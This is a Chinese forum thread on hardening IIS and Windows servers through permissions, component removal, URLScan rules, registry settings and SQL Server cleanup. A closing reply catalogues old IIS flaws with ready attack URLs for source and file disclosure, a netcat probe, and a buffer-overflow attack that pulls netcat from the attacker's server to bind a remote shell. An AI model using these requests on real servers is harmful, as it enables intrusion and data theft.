青山土地整理预算软件028-85447927快速赚土地券 | 【软件团购】活动 | 有奖举报新手求助区 | 申请版主 | 禁止上传涉密资料
返回列表 发帖

[『教程』] IIS安全配置精华1

1.如何让asp脚本以system权限运行?
  修改你asp脚本所对应的虚拟目录,把"应用程序保护"修改为"低"....
  2.如何防止asp木马?
  基于FileSystemObject组件的asp木马
  cacls %systemroot%\system32\scrrun.dll /e /d guests //禁止guests使用
  regsvr32 scrrun.dll /u /s //删除
  基于shell.application组件的asp木马
  cacls %systemroot%\system32\shell32.dll /e /d guests //禁止guests使用
  regsvr32 shell32.dll /u /s //删除
  3.如何加密asp文件?
  从微软免费下载到sce10chs.exe 直接运行即可完成安装过程。
  安装完毕后,将生成screnc.exe文件,这是一个运行在DOS PROMAPT的命令工具。
  运行screnc - l vbscript source.asp destination.asp
  生成包含密文ASP脚本的新文件destination.asp
  用记事本打开看凡是""之内的,不管是否注解,都变成不可阅读的密文了
  但无法加密中文。
  4.如何从IISLockdown中提取urlscan?
  iislockd.exe /q /c /t:c:\urlscan
  5.如何防止Content-Location标头暴露了web服务器的内部IP地址?
  执行
  cscript c:\inetpub\adminscripts\adsutil.vbs set w3svc/UseHostName True
  最后需要重新启动iis
  6.如何解决HTTP500内部错误?
  iis http500内部错误大部分原因
  主要是由于iwam账号的密码不同步造成的。
  我们只要同步iwam_myserver账号在com+应用程序中的密码即可解决问题。
  执行
  cscript c:\inetpub\adminscripts\synciwam.vbs -v
   7.如何增强iis防御SYN Flood的能力?
  Windows Registry Editor Version 5.00
  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
  '启动syn攻击保护。缺省项值为0,表示不开启攻击保护,项值为1和2表示启动syn攻击保护,设成2之后
  '安全级别更高,对何种状况下认为是攻击,则需要根据下面的TcpMaxHalfOpen和TcpMaxHalfOpenRetried值
  '设定的条件来触发启动了。这里需要注意的是,NT4.0必须设为1,设为2后在某种特殊数据包下会导致系统重启。
  "SynAttackProtect"=dword:00000002
  '同时允许打开的半连接数量。所谓半连接,表示未完整建立的TCP会话,用netstat命令可以看到呈SYN_RCVD状态
  '的就是。这里使用微软建议值,服务器设为100,高级服务器设为500。建议可以设稍微小一点。
  "TcpMaxHalfOpen"=dword:00000064
  '判断是否存在攻击的触发点。这里使用微软建议值,服务器为80,高级服务器为400。
  "TcpMaxHalfOpenRetried"=dword:00000050
  '设置等待SYN-ACK时间。缺省项值为3,缺省这一过程消耗时间45秒。项值为2,消耗时间为21秒。
  '项值为1,消耗时间为9秒。最低可以设为0,表示不等待,消耗时间为3秒。这个值可以根据遭受攻击规模修改。
  '微软站点安全推荐为2。
  "TcpMaxConnectResponseRetransmissions"=dword:00000001
  '设置TCP重传单个数据段的次数。缺省项值为5,缺省这一过程消耗时间240秒。微软站点安全推荐为3。
  "TcpMaxDataRetransmissions"=dword:00000003
  '设置syn攻击保护的临界点。当可用的backlog变为0时,此参数用于控制syn攻击保护的开启,微软站点安全推荐为5。
  "TCPMaxPortsExhausted"=dword:00000005
  '禁止IP源路由。缺省项值为1,表示不转发源路由包,项值设为0,表示全部转发,设置为2,表示丢弃所有接受的
  '源路由包,微软站点安全推荐为2。
  "DisableIPSourceRouting"=dword:0000002
  '限制处于TIME_WAIT状态的最长时间。缺省为240秒,最低为30秒,最高为300秒。建议设为30秒。
  "TcpTimedWaitDelay"=dword:0000001e
   8.如何避免*mdb文件被下载?
  安装ms发布的urlscan工具,可以从根本上解决这个问题。
  同时它也是一个强大的安全工具,你可以从ms的网站上获取更为详细的信息。
  9.如何让iis的最小ntfs权限运行?
  依次做下面的工作:
  a.选取整个硬盘:
  system:完全控制
  administrator:完全控制
  (允许将来自父系的可继承性权限传播给对象)
  b.\program files\common files:
  everyone:读取及运行
  列出文件目录
  读取
  (允许将来自父系的可继承性权限传播给对象)
  c.\inetpub\wwwroot:
  iusr_machine:读取及运行
  列出文件目录
  读取
  (允许将来自父系的可继承性权限传播给对象)
  e.\winnt\system32:
  选择除inetsrv和centsrv以外的所有目录,
  去除“允许将来自父系的可继承性权限传播给对象”选框,复制。
  f.\winnt:
  选择除了downloaded program files、help、iis temporary compressed files、
  offline web pages、system32、tasks、temp、web以外的所有目录
  去除“允许将来自父系的可继承性权限传播给对象”选框,复制。
  g.\winnt:
  everyone:读取及运行
  列出文件目录
  读取
  (允许将来自父系的可继承性权限传播给对象)
  h.\winnt\temp:(允许访问数据库并显示在asp页面上)
  everyone:修改
  (允许将来自父系的可继承性权限传播给对象)
  10.如何隐藏iis版本?
  一个黑客可以可以轻易的telnet到你的web端口,发送get命令来获取很多信息
  iis存放IIS BANNER的所对应的dll文件如下:
  WEB:C:\WINNT\SYSTEM32\INETSRV\W3SVC.DLL
  FTP:C:\WINNT\SYSTEM32\INETSRV\FTPSVC2.DLL
  SMTP:C:\WINNT\SYSTEM32\INETSRV\SMTPSVC.DLL
  你可以用16进制编辑器去修改那些dll文件的关键字,比如iis的Microsoft-IIS/5.0
  具体过程如下:
  1.停掉iis iisreset /stop
  2.删除%SYSTEMROOT%\system32\dllcache目录下的同名文件
  3.修改
附件: 您需要登录才可以下载或查看附件。没有帐号?注册
pdf,caj,kdh格式请用Adobe Reader或者CAJViewer打开阅读
有任何问题可以到网站会议室举报或提问。

原理篇

我们将从入侵者入侵的各个环节来作出对应措施
一步步的加固windows系统.
加固windows系统.一共归于几个方面
1.端口限制
2.设置ACL权限
3.关闭服务或组件
4.包过滤
5.审计

我们现在开始从入侵者的第一步开始.对应的开始加固已有的windows系统.

1.扫描
这是入侵者在刚开始要做的第一步.比如搜索有漏洞的服务.
对应措施:端口限制
以下所有规则.都需要选择镜像,否则会导致无法连接
我们需要作的就是打开服务所需要的端口.而将其他的端口一律屏蔽

2.下载信息
这里主要是通过URL SCAN.来过滤一些非法请求
对应措施:过滤相应包
我们通过安全URL SCAN并且设置urlscan.ini中的DenyExtensions字段
来阻止特定结尾的文件的执行

3.上传文件
入侵者通过这步上传WEBSHELL,提权软件,运行cmd指令等等.
对应措施:取消相应服务和功能,设置ACL权限
如果有条件可以不使用FSO的.
通过 regsvr32 /u c:\windows\system32\scrrun.dll来注销掉相关的DLL.
如果需要使用.
那就为每个站点建立一个user用户
对每个站点相应的目录.只给这个用户读,写,执行权限,给administrators全部权限
安装杀毒软件.实时杀除上传上来的恶意代码.
个人推荐MCAFEE或者卡巴斯基
如果使用MCAFEE.对WINDOWS目录所有添加与修改文件的行为进行阻止.

4.WebShell
入侵者上传文件后.需要利用WebShell来执行可执行程序.或者利用WebShell进行更加方便的文件操作.
对应措施:取消相应服务和功能
一般WebShell用到以下组件
WScript.Network
WScript.Network.1
WScript.Shell
WScript.Shell.1
Shell.Application
Shell.Application.1
我们在注册表中将以上键值改名或删除
同时需要注意按照这些键值下的CLSID键的内容
从/HKEY_CLASSES_ROOT/CLSID下面对应的键值删除

5.执行SHELL
入侵者获得shell来执行更多指令
对应措施:设置ACL权限
windows的命令行控制台位于\WINDOWS\SYSTEM32\CMD.EXE
我们将此文件的ACL修改为
某个特定管理员帐户(比如administrator)拥有全部权限.
其他用户.包括system用户,administrators组等等.一律无权限访问此文件.

6.利用已有用户或添加用户
入侵者通过利用修改已有用户或者添加windows正式用户.向获取管理员权限迈进
对应措施:设置ACL权限.修改用户
将除管理员外所有用户的终端访问权限去掉.
限制CMD.EXE的访问权限.
限制SQL SERVER内的XP_CMDSHELL

7.登陆图形终端
入侵者登陆TERMINAL SERVER或者RADMIN等等图形终端,
获取许多图形程序的运行权限.由于WINDOWS系统下绝大部分应用程序都是GUI的.
所以这步是每个入侵WINDOWS的入侵者都希望获得的
对应措施:端口限制
入侵者可能利用3389或者其他的木马之类的获取对于图形界面的访问.
我们在第一步的端口限制中.对所有从内到外的访问一律屏蔽也就是为了防止反弹木马.
所以在端口限制中.由本地访问外部网络的端口越少越好.
如果不是作为MAIL SERVER.可以不用加任何由内向外的端口.
阻断所有的反弹木马.

8.擦除脚印
入侵者在获得了一台机器的完全管理员权限后
就是擦除脚印来隐藏自身.
对应措施:审计
首先我们要确定在windows日志中打开足够的审计项目.
如果审计项目不足.入侵者甚至都无需去删除windows事件.
其次我们可以用自己的cmd.exe以及net.exe来替换系统自带的.
将运行的指令保存下来.了解入侵者的行动.
对于windows日志
我们可以通过将日志发送到远程日志服务器的方式来保证记录的完整性.
evtsys工具(https://engineering.purdue.edu/ECN/Resources/Documents)
提供将windows日志转换成syslog格式并且发送到远程服务器上的功能.
使用此用具.并且在远程服务器上开放syslogd,如果远程服务器是windows系统.
推荐使用kiwi syslog deamon.

我们要达到的目的就是
不让入侵者扫描到主机弱点
即使扫描到了也不能上传文件
即使上传文件了不能操作其他目录的文件
即使操作了其他目录的文件也不能执行shell
即使执行了shell也不能添加用户
即使添加用户了也不能登陆图形终端
即使登陆了图形终端.拥有系统控制权.他的所作所为还是会被记录下来.

额外措施:
我们可以通过增加一些设备和措施来进一步加强系统安全性.
1.代理型防火墙.如ISA2004
代理型防火墙可以对进出的包进行内容过滤.
设置对HTTP REQUEST内的request string或者form内容进行过滤
将SELECT.DROP.DELETE.INSERT等都过滤掉.
因为这些关键词在客户提交的表单或者内容中是不可能出现的.
过滤了以后可以说从根本杜绝了SQL 注入
2.用SNORT建立IDS
用另一台服务器建立个SNORT.
对于所有进出服务器的包都进行分析和记录
特别是FTP上传的指令以及HTTP对ASP文件的请求
可以特别关注一下.

本文提到的部分软件在提供下载的RAR中包含
包括COM命令行执行记录
URLSCAN 2.5以及配置好的配置文件
IPSEC导出的端口规则
evtsys
一些注册表加固的注册表项.

实践篇

下面我用的例子.将是一台标准的虚拟主机.
系统:windows2003
服务:[IIS] [SERV-U] [IMAIL] [SQL SERVER 2000] [PHP] [MYSQL]
描述:为了演示,绑定了最多的服务.大家可以根据实际情况做筛减

1.WINDOWS本地安全策略 端口限制
A.对于我们的例子来说.需要开通以下端口
外->本地 80
外->本地 20
外->本地 21
外->本地 PASV所用到的一些端口
外->本地 25
外->本地 110
外->本地 3389
然后按照具体情况.打开SQL SERVER和MYSQL的端口
外->本地 1433
外->本地 3306
B.接着是开放从内部往外需要开放的端口
按照实际情况,如果无需邮件服务,则不要打开以下两条规则
本地->外 53 TCP,UDP
本地->外 25
按照具体情况.如果无需在服务器上访问网页.尽量不要开以下端口
本地->外 80
C.除了明确允许的一律阻止.这个是安全规则的关键.
外->本地 所有协议 阻止

2.用户帐号
a.将administrator改名,例子中改为root
b.取消所有除管理员root外所有用户属性中的
远程控制->启用远程控制 以及
终端服务配置文件->允许登陆到终端服务器
c.将guest改名为administrator并且修改密码
d.除了管理员root,IUSER以及IWAM以及ASPNET用户外.禁用其他一切用户.包括SQL DEBUG以及TERMINAL USER等等

3.目录权限
将所有盘符的权限,全部改为只有
administrators组 全部权限
system 全部权限
将C盘的所有子目录和子文件继承C盘的administrator(组或用户)和SYSTEM所有权限的两个权限
然后做如下修改
C:\Program Files\Common Files 开放Everyone 默认的读取及运行 列出文件目录 读取三个权限
C:\WINDOWS\ 开放Everyone 默认的读取及运行 列出文件目录 读取三个权限
C:\WINDOWS\Temp 开放Everyone 修改,读取及运行,列出文件目录,读取,写入权限
现在WebShell就无法在系统目录内写入文件了.
当然也可以使用更严格的权限.
在WINDOWS下分别目录设置权限.
可是比较复杂.效果也并不明显.

4.IIS
在IIS 6下.应用程序扩展内的文件类型对应ISAPI的类型已经去掉了IDQ,PRINT等等危险的脚本类型,
在IIS 5下我们需要把除了ASP以及ASA以外所有类型删除.
安装URLSCAN
在[DenyExtensions]中
一般加入以下内容
.cer
.cdx
.mdb
.bat
.cmd
.com
.htw
.ida
.idq
.htr
.idc
.shtm
.shtml
.stm
.printer
这样入侵者就无法下载.mdb数据库.这种方法比外面一些在文件头加入特殊字符的方法更加彻底.
因为即便文件头加入特殊字符.还是可以通过编码构造出来的

5.WEB目录权限
作为虚拟主机.会有许多独立客户
比较保险的做法就是为每个客户,建立一个windows用户
然后在IIS的响应的站点项内
把IIS执行的匿名用户.绑定成这个用户
并且把他指向的目录
权限变更为
administrators 全部权限
system 全部权限
单独建立的用户(或者IUSER) 选择高级->打开除 完全控制,遍历文件夹/运行程序,取得所有权 3个外的其他权限.

如果服务器上站点不多.并且有论坛
我们可以把每个论坛的上传目录
去掉此用户的执行权限.
只有读写权限
这样入侵者即便绕过论坛文件类型检测上传了webshell
也是无法运行的.

6.MS SQL SERVER2000
使用系统帐户登陆查询分析器
运行以下脚本
use master
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_dropextendedproc 'xp_dirtree'
exec sp_dropextendedproc 'xp_enumgroups'
exec sp_dropextendedproc 'xp_fixeddrives'
exec sp_dropextendedproc 'xp_loginconfig'
exec sp_dropextendedproc 'xp_enumerrorlogs'
exec sp_dropextendedproc 'xp_getfiledetails'
exec sp_dropextendedproc 'Sp_OACreate'
exec sp_dropextendedproc 'Sp_OADestroy'
exec sp_dropextendedproc 'Sp_OAGetErrorInfo'
exec sp_dropextendedproc 'Sp_OAGetProperty'
exec sp_dropextendedproc 'Sp_OAMethod'
exec sp_dropextendedproc 'Sp_OASetProperty'
exec sp_dropextendedproc 'Sp_OAStop'
exec sp_dropextendedproc 'Xp_regaddmultistring'
exec sp_dropextendedproc 'Xp_regdeletekey'
exec sp_dropextendedproc 'Xp_regdeletevalue'
exec sp_dropextendedproc 'Xp_regenumvalues'
exec sp_dropextendedproc 'Xp_regread'
exec sp_dropextendedproc 'Xp_regremovemultistring'
exec sp_dropextendedproc 'Xp_regwrite'
drop procedure sp_makewebtask
go
删除所有危险的扩展.

7.修改CMD.EXE以及NET.EXE权限
将两个文件的权限.修改到特定管理员才能访问,比如本例中.我们如下修改
cmd.exe root用户 所有权限
net.exe root用户 所有权现
这样就能防止非法访问.
还可以使用例子中提供的comlog程序
将com.exe改名_com.exe,然后替换com文件.这样可以记录所有执行的命令行指令

8.备份
使用ntbackup软件.备份系统状态.
使用reg.exe 备份系统关键数据
如reg export HKLM\SOFTWARE\ODBC e:\backup\system\odbc.reg /y
来备份系统的ODBC

9.杀毒
这里介绍MCAFEE 8i 中文企业版
因为这个版本对于国内的许多恶意代码和木马都能够及时的更新.
比如已经能够检测到海阳顶端2006
而且能够杀除IMAIL等SMTP软件使用的队列中MIME编码的病毒文件
而很多人喜欢安装诺顿企业版.而诺顿企业版,对于WEBSHELL.基本都是没有反应的.
而且无法对于MIME编码的文件进行杀毒.
在MCAFEE中.
我们还能够加入规则.阻止在windows目录建立和修改EXE.DLL文件等
我们在软件中加入对WEB目录的杀毒计划.
每天执行一次
并且打开实时监控.

10.关闭无用的服务
我们一般关闭如下服务
Computer Browser
Help and Support
Messenger
Print Spooler
Remote Registry
TCP/IP NetBIOS Helper
如果服务器不用作域控,我们也可以禁用
Workstation

11.取消危险组件
如果服务器不需要FSO
regsvr32 /u c:\windows\system32\scrrun.dll
注销组件
使用regedit
将/HKEY_CLASSES_ROOT下的
WScript.Network
WScript.Network.1
WScript.Shell
WScript.Shell.1
Shell.Application
Shell.Application.1
键值改名或删除
将这些键值下CLSID中包含的字串
如{72C24DD5-D70A-438B-8A42-98424B88AFB8}
到/HKEY_CLASSES_ROOT/CLSID下找到以这些字串命名的键值
全部删除

12.审计
本地安全策略->本地策略->审核策略
打开以下内容
审核策略更改 成功,失败
审核系统事件 成功,失败
审核帐户登陆事件 成功,失败
审核帐户管理 成功,失败
pdf,caj,kdh格式请用Adobe Reader或者CAJViewer打开阅读
有任何问题可以到网站会议室举报或提问。

TOP

IIS(Internet Information Server)作为当今流行的Web服务器之一,提供了强大的Internet和Intranet服务功能。如何加强IIS的安全机制,建立高安全性能的可靠的Web服务器,已成为网络管理的重要组成部分。
  以Windows NT的安全机制为基础  
  1.应用NTFS文件系  

  NTFS文件系统可以对文件和目录进行管理,FAT文件系统则只能提供共享级的安全,而Windows NT的安全机制是建立在NTFS文件系统之上的,所以在安装Windows NT时最好使用NTFS文件系统,否则将无法建立NT的安全机制。
  2.共享权限的修改
  在系统默认情况下,每建立一个新的共享,Everyone用户就享有“完全控制”的共享权限,因此,在建立新的共享后应该立即修改Everyone的缺省权限。
  3.为系统管理员账号更名
  域用户管理器虽可限制猜测口令的次数,但对系统管理员账号(adminstrator)却无法限制,这就可能给非法用户攻击管理员账号口令带来机会,通过域用户管理器对管理员账号更名不失为一种好办法。具体设置方法如下:
  选择“开始”选单→“程序”→启动“域用户管理器”→选中“管理员账号(adminstrator)”→选择“用户”选单→“重命名”,对其进行修改。
  4.取消TCP/IP上的NetBIOS绑定
  NT系统管理员可以通过构造目标站NetBIOS名与其IP地址之间的映像,对Internet或Intranet上的其他服务器进行管理,但非法用户也可从中找到可乘之机。如果这种远程管理不是必须的,就应该立即取消(通过网络属性的绑定选项,取消NetBIOS与TCP/IP之间的绑定)。
  设置IIS的安全机制  
  1.安装时应注意的安全问题
  1)避免安装在主域控制器上
  安装IIS之后,在安装的计算机上将生成IUSR_Computername匿名账户。该账户被添加到域用户组中,从而把应用于域用户组的访问权限提供给访问Web服务器的每个匿名用户,这不仅给IIS带来潜在危险,而且还可能威胁整个域资源的安全。所以要尽可能避免把IIS服务器安装在域控制器上,尤其是主域控制器上。
  2)避免安装在系统分区上
  把IIS安装在系统分区上,会使系统文件与IIS同样面临非法访问,容易使非法用户侵入系统分区,所以应该避免将IIS服务器安装在系统分区上。
  2.用户的安全性
  1)匿名用户访问权限的控制
  安装IIS后产生的匿名用户IUSR_Computername(密码随机产生),其匿名访问给Web服务器带来潜在的安全性问题,应对其权限加以控制。如无匿名访问需要,则可以取消Web的匿名访问服务。具体方法:
  选择“开始”选单→“程序”→“Microsoft Internet Server(公用) ”→“Internet服务管理器” →启动Microsoft Internet Service Manager→ 双击“WWW”启动WWW服务属性页→取消其匿名访问服务。
  2)控制一般用户访问权限
  可以通过使用数字与字母(包括大小写)结合的口令,使用长口令(一般应在6位以上),经常修改密码,封锁失败的登录尝试以及设定账户的有效期等方法对一般用户账户进行管理。
  3.IIS三种形式认证的安全性
  1)匿名用户访问:允许任何人匿名访问,在这三种中安全性最低。
  2)基本(Basic)认证:用户名和口令以明文方式在网络上传输,安全性能一般。
  3)Windows NT请求/响应方式:浏览器通过加密方式与IIS服务器进行交流,有效地防止了窃听者,是安全性比较高的认证形式(需IE 3.0以上版本支持)。
  4.访问权限控制
  1)设置文件夹和文件的访问权限:安放在NTFS文件系统上的文件夹和文件,一方面要对其权限加以控制,对不同的组和用户设置不同的权限;另外,还可以利用NTFS的审核功能对某些特定组的成员读、写文件等方面进行审核,通过监视“文件访问”、“用户对象的使用”等动作,来有效地发现非法用户进行非法活动的前兆,及时加以预防和制止。具体方法:
  选择“开始”选单→“程序”→启动“域用户管理器” →选择“规则”选项卡下的“审核”选项→设置“审核规则”。
  2)设置WWW目录的访问权限:已经设置成Web目录的文件夹,可以通过操作Web站点属性页实现对WWW目录访问权限的控制,而该目录下的所有文件和子文件夹都将继承这些安全机制。WWW服务除了提供NTFS文件系统提供的权限外,还提供读取权限——允许用户读取或下载WWW目录中的文件;执行权限——允许用户运行WWW目录下的程序和脚本。具体设置方法如下:
  选择“开始”选单→“程序”→“Microsoft Internet Server(公用) ”→“Internet服务管理器” →启动Microsoft Internet Service Manager→ 双击“WWW”启动WWW服务属性页→选择“目录”选项卡→选定需要编辑的WWW目录→选择“编辑属性”中的“目录属性”进行设置。
  5.IP地址的控制
  IIS可以设置允许或拒绝从特定IP发来的服务请求,有选择地允许特定节点的用户访问。可以通过设置来阻止指定IP地址外的网络用户访问你的Web服务器。具体设置方法如下:
  选择“开始”选单→“程序”→“Microsoft Internet Server(公用) ”→“Internet服务管理器” →启动Microsoft Internet Service Manager→双击“WWW”启动WWW服务属性页→启动Web属性页中“高级”选项卡;进行IP地址的控制设置。
  6.端口安全性的实现
  对于IIS服务,无论是WWW站点、Fpt站点,还是NNpt、SMpt服务等都有各自侦听和接收浏览器请求的TCP端口号(Post),一般常用的端口号为:WWW是80,Fpt是21,SMpt是25,你可以通过修改端口号来提高IIS服务器的安全性。如果你修改了端口设置,只有知道端口号的用户才可以访问,不过用户在访问时需要指定新端口号。
  7.IP转发的安全性
  IIS服务可提供IP数据包的转发功能,此时,充当路由器角色的IIS服务器将会把从Internet接口收到的IP数据包转发到内部网中,禁用这一功能将提高IIS服务的安全性。设置方法如下:
  选择“开始”选单→“程序”→“Microsoft Internet Server(公用) ”→“Internet服务管理器” →启动Microsoft Internet Service Manager→ 双击“WWW”启动WWW服务属性页→选择“协议”选项卡→在TCP/IP属性中去掉“路由选择”。
  8.SSL安全机制
  SSL(加密套接字协议层)位于HTpt层和TCP层之间,建立用户与服务器之间的加密通信,确保信息传递的安全性。SSL是工作在公共密钥和私人密钥基础上的。任何用户都可以获得公共密钥来加密数据,但解密数据必须要通过相应的私人密钥。使用SSL安全机制时,首先客户端与服务器建立连接,服务器把它的数字证书与公共密钥一并发送给客户端,客户端随机生成会话密钥,用从服务器得到的公共密钥对会话密钥进行加密,并把会话密钥在网络上传递给服务器,而会话密钥只有在服务器端用私人密钥才能解密,这样,客户端和服务器端就建立了一个唯一的安全通道。具体设置方法如下:
  选择“开始”选单→“程序”→“Microsoft Internet Server(公用) ”→“Internet服务管理器” →启动Microsoft Internet Service Manager→ 双击“WWW”启动WWW服务属性页→选择“目录安全性”选项卡→单击“密钥管理器”按钮→通过密钥管理器生成密钥文件和请求文件→从身份认证权限中申请一个证书→通过密钥管理器在服务器上安装证书→激活Web站点的SSL安全性。
  建立了SSL安全机制后,只有SSL允许的客户才能与SSL允许的Web站点进行通信,并且在使用URL资源定位器时,注意输入的是“htpts://”,而不是“htpt://”。
  SSL安全机制的实现,将增加系统开销,增加服务器CPU的额外负担,从而会在一定程度上降低系统性能。笔者建议在规划网络时,仅考虑为高敏感度的Web目录使用SSL安全机制。另外,SSL客户端需要使用IE 3.0及以上版本才能使用。
--------------------------------------------------------------------------------
t920 回复于:2003-07-18 10:44:17
hohoho
精华呀!对新手应该有大大的帮助!
补充:
9.应用程序映射的问题
idq,ida,htw,printer等漏洞都是依靠这个映射来完成的,虽然安装补丁之后这几个问题都会得到解决,但依据功能最小化的原则,建议删除不必要的应用程序映射。
Internet服务管理器----站点属性----主目录----配置---删除不必要的应用程序映射(一般情况下除.asp和.aspx外全部删除)
另外,从整个web服务器的角度,建议在ip筛选中只开放tcp:80端口。
方法:网上邻居>;属性>;本地连接>;属性>;Internet协议(Tcp/Ip)>;属性>;高级>;选项>;tcp/ip筛选>;属性
常见漏洞<zz>;
(1)、Null.htw
  IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞,即服务器上不
存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码, global.asa里面包含
了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限
制,进行逻辑分区和ROOT目录的访问。而这个"hit-highlighting"功能在Index Server
中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null
.htw功能可以从用户输入中获得3个变量:
CiWebhitsfile
CiRestriction
CiHiliteType
  你可通过下列方法传递变量来获得如default.asp的源代码:http://www.目标机.c
om/null.htw?CiWebhitsfile=/default.asp%20&%20
CiRestriction=none%20&%20&CiHiliteType=full其中不需要一个合法的.htw文件是因为
虚拟文件已经存储在内存中了。

(2)、MDAC- 执行本地命令漏洞
  这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS WEB服务器存在这个漏
洞,就像在今天,还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞,可以
导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情
况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情
况下是SYSTEM用户。我们可以通过以下办法测试本机是否存在这个漏洞:c:\>;nc -nw -
w 2 <目标机>; 80 GET /msadc/msadcs.dll HTTP
  如果你得到下面的信息:application/x_varg
  就很有可能存在此漏洞且没有打上补丁,你可以使用rain forest puppy网站的两个
程序进行测(www.wiretrip.net/rfp)==>;mdac.pl和msadc2.pl。

(3)、ASP Dot Bug
  这个漏洞出现得比较早了,是Lopht小组在1997年发现的缺陷,这个漏洞也是泄露A
SP源代码给攻击者,一般在IIS3.0上存在此漏洞,在请求的URL结尾追加一个或者多个点
导致泄露ASP源代码。 "http://www.目标机.com/sample.asp."

(4)、idc & .ida Bugs
  这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪有
些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致IIS尝试
允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客
户端。
"http://www.目标机.com/anything.idc或者 anything.idq"

(5)、+.htr Bug
这个漏洞是由NSFOCUS发现的,对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码
的泄露:
"http://www.目标机.com/global.asa+.htr"

(6)、NT Site Server Adsamples 漏洞
  通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者可能获得
一些如数据库中的DSN,UID和PASS的一些信息,如:
"http://www.目标机.com/adsamples/config/site.csc"

(7)、IIS HACK
  有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到
目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文
件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插
入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.
exe,ncx.exe,你可以到站点www.technotronic.com中去下载,另外你还需要一台自己
的WEB服务器,也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并
把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:c:\>;iish
ack.exe <目标机>; 80 <你的WEB服务器>;/ncx.exe
  然后你就使用netcat来连接你要检测的服务器:c:\>;nc <目标机>; 80
  如果溢出点正确,你就可以看到目标机器的命令行提示,并且是远程管理权限。Co
debrws.asp & Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文
件的程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情
况下安装的。但是,这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用
这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:
1.Codebrws.asp 和 Showcode.asp默认情况下不安装。
2.漏洞仅允许查看文件内容。
3.这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。
4.只允许同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的方
案,这样也可能比较好的防止最新的IIS5.0的unicode漏洞).
5,攻击者需要知道请求的文件名。
  例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:"http://www
.目标机.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/
howitworks/codebrws.asp"你就可以查看到codebrws.asp的源代码了。你也可以使用sho
wcode.asp来查看文件:"http://www.目标机.com/msadc/samples/selector/showcode.a
sp?source=/msadc/../../../../../winnt/win.ini"
  当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器,或许其他
的机器的安全性比WEB服务器差,如: "http://xxx.xxx.xxx.xxx/msadc/Samples/SELEC
TOR/showcode.asp?source=/msadc/Samples/../../..
/../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log"

(8)、webhits.dll & .htw
  这个hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上high
lighted(突出)其原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.h
tw文件,Webhits.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户
控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致可以
查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:

"http://www.目标机.com/nosuchfile.htw"
  如果你从服务器端获得如下信息:format of the QUERY_STRING is invalid这就表
示你存在这个漏洞。
  这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就
能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程
序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
  攻击者可以使用如下的方法来访问系统中文件的内容:
"http://www.目标机.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full"
  就会在有此漏洞系统中win.ini文件的内容。

(9)、ASP Alternate Data Streams(:DATA)
  $DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面
的main data stream属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访
问这个data stream(数据流),这样做也就显示了文件代码中这些data stream(数据流)
和任何文件所包含的数据代码。   其中这个漏洞需要下面的几个限制,一个是要显示
的这个文件需要保存在NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式),第
二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,W
IN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补
丁,
要查看一些.asp文件的内容,你可以请求如下的URL:
   "http://www.目标机.com/default.asp:DATA你就得到了源代码。你要了解下NT
FS文件系统中的数据流问题,你或许可以看看这文章:http://focus.silversand.net/
newsite/skill/ntfs.txt"

(10)、ISM.DLL 缓冲截断漏洞
  这个漏洞存在于IIS4.0和5.0中,允许攻击者查看任意文件内容和源代码。通过在文
件 名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使
IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序
